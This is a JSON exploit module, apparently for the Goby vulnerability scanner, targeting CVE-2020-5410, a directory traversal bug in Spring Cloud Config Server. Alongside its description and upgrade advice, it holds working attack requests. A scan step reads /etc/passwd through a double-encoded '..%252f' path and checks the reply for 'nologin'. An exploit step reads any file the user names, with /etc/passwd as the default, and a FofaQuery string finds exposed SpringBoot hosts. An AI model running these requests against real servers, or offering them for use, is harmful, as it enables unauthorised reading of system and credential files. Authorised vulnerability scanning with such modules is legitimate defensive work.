{
  "Name": "Spring Cloud Config Server Directory Traversal (CVE-2020-5410)",
  "Description": "Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.",
  "Product": "SpringCloudConfig",
  "Homepage": "https://github.com/spring-cloud/spring-cloud-config",
  "DisclosureDate": "2020-05-15",
  "Author": "gobysec@gmail.com",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Spring/CVE-2020-5410/CVE-2020-5410.gif",
  "FofaQuery": "app=\"SpringBoot\"",
  "Level": "2",
  "Impact": "A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.",
  "Recommendation": "Upgrade to Spring Cloud Config to version 2.2.3 or 2.1.9, and place the Spring-Cloud-Config-Server service in the intranet, and use Spring Security for authentication",
  "References": [
    "https://tanzu.vmware.com/security/cve-2020-5410",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-5410",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3799",
	"https://xz.aliyun.com/t/7877"
  ],
  "HasExp": true,
  "ExpParams": [{
                  "name": "file",
                  "type": "input",
                  "value": "/etc/passwd"
            }],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd%23222/11"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "nologin",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{{{file|replace|2f|2532353266}}}%23222/11"
                  },
                  "SetVariable": ["output|lastbody|regex|\"source\":{(.*?)}"]
            }
      ],
  "Tags": null,
  "CVEIDs": [
    "CVE-2020-5410"
  ],
  "CVSSScore": "6.5",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}